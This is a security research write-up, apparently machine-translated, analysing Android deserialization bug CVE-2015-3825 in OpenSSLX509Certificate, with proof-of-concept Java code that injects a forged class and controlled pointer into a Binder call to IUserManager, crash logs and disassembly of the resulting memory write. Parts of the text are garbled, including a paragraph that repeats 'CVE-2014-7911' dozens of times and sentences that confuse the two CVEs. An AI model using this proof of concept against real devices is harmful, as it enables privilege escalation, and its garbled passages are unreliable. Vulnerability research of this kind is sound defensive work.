Ali Mobile Security · 2015/11/09 11:13

[email protected]

0 x00 sequence


Serialization is the process of converting the state information of an object into a form that can be stored or transmitted. During serialization, an object writes its current state to a temporary or persistent store. Consumers can recreate an object by reading or deserializing its state from the store.

Android also has many scenarios that use serialization for data transfer, such as object transfer between apps/within apps, data transfer with Binder communication, etc., generally involving cross-processes and cross-permissions. Serialization/antisequence is also an input to the program/interface. The contents or sequences of the storage area can be filled in randomly, which can also cause security vulnerabilities if used with incomplete validation. In Android system, App denial of service and permission promotion can be realized through serialization/deserialization vulnerability.

0x01 Cause of Vulnerability


The Android serialization vulnerability (CVE-2015-3825) affects versions 4.3 and 5.1 of Android, also known as Jelly Bean, KitKat, Lollipop and Android M Preview 1, and affects 55 percent of Android devices. The system privilege can be delegated to affected devices, which means an attacker can take over any app on the victim’s phone by replacing the apK of the target app. The vulnerability was rejected after ONE CLASS TO RULE THEM ALL 0-day DESERIALIZATION patching IN by IBM security team Or Peles and Roee Hay at USENIX 2015 ANDROID [1].

2.1 PoC structure

The author of the Paper did not release exploits nor PoC. According to this Paper, we can know that Loopholes in OpenSSLX509Certificate (full package name path for com.android.org.conscrypt.OpenSSLX509Certificate) class, OpenSSLX509Certificate classes meet:

1) OpenSSLX509Certificate is serializable because it inherits from the serializable Certificate class; 2) It has a finalize() method, and a call native method (libjavascryptoso), field mContext, long type (actually pointer type); 3) OpenSSLX509Certificate also does not implement specific deserialization methods (readObject and readResolve);

Where mContext is the pointer to the object that can be controlled by the attack.

My POC of CVE – 2014-7911, first define the class com.android.org.conscrypt.ApenSSLX509Certificate, as follows:

#! java public class ApenSSLX509Certificate implements Serializable { //private static final long serialVersionUID = -5454153458060784251L; // Android4.4.2 Emulator private static Final Long serialVersionUID = -8550350185014308538L; // Android 5.1.1 Emulator public final long context; ApenSSLX509Certificate(long ctx) { mContext = ctx; }}Copy the code

Note the package called com.android.org.conscrypt, then in the same package name to create a MainActivity. Java, to call ApenSSLX509Certificate:

#! java com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL); b.putSerializable("eatthis", evilProxy);Copy the code

As with CVE-2014-7911 PoC, change the class name before sending a request to the service of android.os.IUserManager:

#!java
int l = data.length;
for (int i=0; i<l-4; i++) {
if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') {
data[i] = 'O';
break;
    }
}
Copy the code

Cve-2014-7911: cVE-2014-7911: cVE-2014-7911: cVE-2014-7911: cVE-2014-7911: cVE-2014-7911: cVE-2014-7911: cVE-2014-7911: cVE-2014-7911

E/CVE-2014-7911-trace(1669): setApplicationRestrictions
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417)
at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124)
at android.os.IUserManager$Stub.onTransact(IUserManager.java:245)
W/System.err(1669):     at android.os.Binder.execTransact(Binder.java:404)
W/System.err(1669):     at dalvik.system.NativeStart.run(Native Method)
E/UserManagerService(1669): Error writing application restrictions list

Cve-2014-7911 cVE-2014-7911 cVE-2014-7911 CVE-2014-7911 CVE-2014-7911 CVE-2014-7911 CVE-2014-7911 CVE-2014-7911 CVE-2014-7911 CVE-2014-7911 CVE-2014-7911 CVE-2014-7911 CVE-2014-79izable CVE-2014-79IZABLE CVE-2014-79IZABLE CVE-2014-7izable CVE-2014-7izable CVE-2014-7izable CVE-2014-7izable CVE – 2015-3825 is converting com.android.org.conscrypt.OpenSSLX509Certificate mandatory Java lang, String [] of anomalies.

In Android 4.4.2 AVD, an “Error Writing Application Restrictions List” exception is triggered, but GC resource collection is not triggered.

In Android 5.1.1 AVD, can be sent by repeated n times “TRANSACTION_setApplicationRestrictions” request can trigger GC recycling resources, resulting in system_server crash:

A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon) I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7 / generic: 5.1 / LKY45/1737576: eng/test - keys' I/DEBUG (61) : Revision:' 0 'I/DEBUG (61) : ABI: 'arm' I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon >>> system_server <<< I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f I/DEBUG(61): r0 00000000 r1 0000000c r2 00000000 r3 00000000 I/DEBUG(61): r4 b6c9766f r5 00000003 r6 ffffffff r7 7f7f7f8f I/DEBUG(61): r8 00000075 r9 b6c24ac9 sl a78fbaa4 fp 13068980 I/DEBUG(61): ip 00000001 sp a78fba58 lr b6c3da1d pc b6c3da1c cpsr 60000030 I/DEBUG(61): backtrace: I/DEBUG(61): #00 pc 00072a1c /system/lib/libcrypto.so (CRYPTO_add_lock+59) I/DEBUG(61): #01 pc 000579b1 /system/lib/libcrypto.so (asn1_do_lock+68) I/DEBUG(61): #02 PC 0005646f /system/lib/libcrypto.so 09-06 20:31:31.394: I/DEBUG(61): #03 PC 00056415 /system/lib/libcrypto.so (ASN1_item_free+12) 09-06 20:31:31.395: I/DEBUG(61): #04 PC 00017c0d[email protected]@ boot. Oat 09-06 20:32:09. 116: I/art (5663) : Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, PAUSED 887us total 513.880MS 09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01Copy the code

2.2 Anomaly Analysis

The analysis is based on Android 5.1.1 AVD.

The above said, “TRANSACTION_setApplicationRestrictions” request, leading to an exception, then the GC recycling resources.

From source code analysis, GC calls OpenSSLX509certificate.finalize ():

@Override
protected void finalize() throws Throwable {
    try {
        if (mContext != 0) {
            NativeCrypto.X509_free(mContext);
        }
    } finally {
        super.finalize();
    }
}
Copy the code

Then call the nativecrypto.x509_free () method, which is defined in natiVecrypto.java as follows:

public static native void X509_free(long x509ctx);
Copy the code

The final implementation is in libJavacrypto. so, which is defined in the org_conscrypt_nativecrypto. CPP file:

static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) {
    X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref));
    JNI_TRACE("X509_free(%p)", x509);
    if (x509 == NULL) {
        jniThrowNullPointerException(env, "x509 == null");
        JNI_TRACE("X509_free(%p) => x509 == null", x509);
        return;
    }
    X509_free(x509);
}
Copy the code

The X509_free function last called by NativeCrypto_X509_free is an interface provided by the OpenSSL library. Please refer to Appendix I for how to find the implementation of this function.

Libjavacrypto. so:: NativeCrypto_X509_free = libJavacrypto. so:: NativeCrypto_X509_free

.text:00008C1C sub_8C1C                                ; DATA XREF: .data:000175ACo
.text:00008C1C                 CBNZ            R2, loc_8C26
.text:00008C1E                 LDR             R1, =(aX509Null - 0x8C24)
.text:00008C20                 ADD             R1, PC  ; "x509 == null"
.text:00008C22                 B.W             j_j_j_jniThrowNullPointerException
.text:00008C26
.text:00008C26 loc_8C26                                ; CODE XREF: sub_8C1Cj
.text:00008C26                 MOV             R0, R2
.text:00008C28                 B.W             j_j_X509_free
.text:00008C28 ; End of function sub_8C1C

When a breakpoint is set and a step exception is sometimes encountered, one way to do this is to set the attributes of all memory sections in the lib library to be writable.

Step in j_j_X509_free to libcrypto. So: ASN1_item_free,

.text:00056408                 EXPORT ASN1_item_free
.text:00056408 ASN1_item_free                          ; CODE XREF: j_ASN1_item_free+8j
.text:00056408                                         ; DATA XREF: .got:ASN1_item_free_ptro
.text:00056408
.text:00056408 var_C           = -0xC
.text:00056408
.text:00056408                 PUSH.W          {R11,LR}
.text:0005640C                 SUB             SP, SP, #8
.text:0005640E                 STR             R0, [SP,#0x10+var_C]
.text:00056410                 ADD             R0, SP, #0x10+var_C
.text:00056412                 MOVS            R2, #0
.text:00056414                 BL              sub_56420 
.text:00056418                 ADD             SP, SP, #8
.text:0005641A                 POP.W           {R11,PC}
.text:0005641A ; End of function ASN1_item_free
Copy the code

Sub_56420 is the asn1_ITEM_combine_free function, defined as:

static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)
Copy the code

Let’s go ahead and analyze this function,

.text:00056420 sub_56420 ; CODE XREF: ASN1_item_free+Cp .text:00056420 ; ASN1_item_ex_free+2j ... .text:00056420 PUSH.W {R4-R10,LR} .text:00056424 MOV R10, R0 ; R0: pval, &mContext; .text:00056426 MOV R8, R2 ; R1: combine, int; .text:00056428 MOV R5, R1 ; R1: it, ASN1_ITEM; .text:00056428 ; libcrypto.so:X509_NAME_TYPE_it .text:0005642A CMP.W R10, #0 ; if (! pval) return; .text:0005642E BEQ.W def_5645A ; jumptable 0005645A default case .text:00056432 LDRB R1, [R5] ; R1 <- it->itype; .text:00056434 LDR R0, [R5,#0x10] ; R0 <- aux = it->funcs; .text:00056436 CBZ R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0 .text:00056438 LDR.W R2, [R10] ; ! *pval .text:0005643C CMP R2, #0 .text:0005643E BEQ.W def_5645A ; jumptable 0005645A default caseCopy the code

As noted in the remarks after the semicolon, this code stores the initial related variables: &mContext in R10, Combine R2, it in R5, and then validates the arguments. Go ahead and get aux->asn1_cb in R9:

.text:00056442 loc_56442                               ; CODE XREF: sub_56420+16j
.text:00056442                 CMP             R0, #0
.text:00056444                 ITT NE
.text:00056446                 LDRNE.W         R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb;
.text:0005644A                 CMPNE.W         R9, #0
.text:0005644E                 BNE             loc_56454 ; switch(it->itype)
.text:00056450                 MOV.W           R9, #0
Copy the code

To continue, call the asn1_do_lock function:

.text:00056466 MOV R0, R10 ; Jumptable 0005645A Cases 1, 6. text:00056468 MOV.W R1, #0xFFFFFFFF; Pass-1. text:0005646C MOV R2, R5; it .text:0005646E BLX j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it) .text:0005646E ; Text :00056472 CMP R0, #0. Text :00056474 BGT def_5645A; jumptable 0005645A default caseCopy the code

R0 is the &mcontext stored in R10 above, R1 is -1, R2 is the IT stored in R5 above. Funcs = it->funcs = it->funcs = it->funcs

.text:00057984                 LDR             R2, [R2,#0x10] ; aux = it->funcs;
.text:00057986                 CMP             R2, #0
Copy the code

(char*)mContext+aux->ref_offset (char*)mContext+aux->ref_offset (char*)

.text:00057992                 LDR             R3, [R2,#8] ; aux->ref_offset
.text:00057994                 CMP             R1, #0
.text:00057996                 LDR             R0, [R0] ; R0 = &mContext
.text:00057998                 ADD.W           R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset);
.text:0005799C                 BEQ             loc_579B6
Copy the code

Next, call the CRYPTO_add_lock function:

.text:000579A2                 MOVS            R0, #0x75
.text:000579A4                 LDR             R3, =(aExternalOpe_43 - 0xFA1D8)
.text:000579A6                 ADD             LR, PC ; _GLOBAL_OFFSET_TABLE_
.text:000579A8                 LDR             R2, [R2,#0xC] ; aux->ref_lock
.text:000579AA                 ADD             R3, LR  ; "external/openssl/crypto/asn1/tasn_utl.c"
.text:000579AC                 STR             R0, [SP,#0x10+var_10] ; line: 0x75 -> 117
.text:000579AE                 MOV             R0, R12
.text:000579B0                 BLX             j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
Copy the code

The CRYPTO_add_lock function reads the contents of the R7 address and adds R1 (R1 = -1, here is also the operation minus 1), then stores it in the R1 address:

.text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
.text:000729E0                 EXPORT CRYPTO_add_lock
.text:000729E0 CRYPTO_add_lock                         ; CODE XREF: j_CRYPTO_add_lock+8j
.text:000729E4                 MOV             R7, R0  ; R7 = (char*)mContext+aux->ref_offset
... ...
.text:000729E8                 MOV             R6, R1  ; R1 = -1
… …
.text:00072A1C                 LDR             R0, [R7] ; Crash is over here, so R7 is 0x7F7F7F8F.text:00072A24 ADD R6, R0... ... .text:00072A28 STR R6, [R7] ; If R7 points to write memory, arbitrary write can be done here

(char*)mContext+0x10 = mContext-> References = references -> references Then look at the source code tasn_fre. C (external/openssl crypto/from /) [4] asn1_item_combine_free method:

case ASN1_ITYPE_SEQUENCE:
if (asn1_do_lock(pval, -1, it) > 0)
    return;
if (asn1_cb)
    {
    i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL);
    if (i == 2)
        return;
    }
Copy the code

When ASN1_DO_lock returns 0, that is, when mContext-> References is 0, the asn1_cb function is called to release the resource.

Continue CRYPTO_add_lock disassembly code analysis, because we passed in the Java layer is an invalid address 0x7F7f7f, so it leads to memory write exception.

Google’s fix [2] was to add a transient modifier to the mContext member so that it would not be serialized.

0 x03 summary


In object serialization, the serialization of pointer members is prone to security risks, such as mOrgue in CVE-2014-7911 and mContext in CVE-2015-3825. In this vulnerability (CVE-2015-3825), because mContext is serializable, and it points to the pointer of X509 structure, when the incoming serialized object in deserialization produces an exception, the system calls GC to recover resources, namely, mContext-> References minus 1, Here the mContext is controllable, leading to a limited memory write at will (multiple minus 1) vulnerability.

0 x04 reference


【 1 】 www.usenix.org/system/file… 【 2 】 android.googlesource.com/platform/ex… 【 3 】 github.com/Purity-Loll… [4] android.googlesource.com/platform/ex…

0 x05 appendix


5.1 How do I find the X509_free function

Searching for X509_free in OpenSSL code does not turn up the actual code implementation. This is because OpenSSL uses a bunch of macros to define some functions and structures, and X509_free is one of them. IMPLEMENT_ASN1_FUNCTIONS in crypto/ ASn1 /x_x509.c

IMPLEMENT_ASN1_FUNCTIONS(X509)
Copy the code

Find the following nested macros:

# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \
        IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \
        IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)    

# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \
        stname *fname##_new(void) \
        { \
                return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \
        } \
        void fname##_free(stname *a) \
        { \
                ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \
        }
    #define ASN1_ITEM_rptr(ref) (&(ref##_it))
Copy the code

The definition mapped to X509 can be translated as follows:

X509 * X509_new(void) \ { \ return (X509 *)ASN1_item_new(&X509_it); \ } \ void X509_free(X509 *a) \ { \ ASN1_item_free((ASN1_VALUE *)a, &X509_it)); The \}Copy the code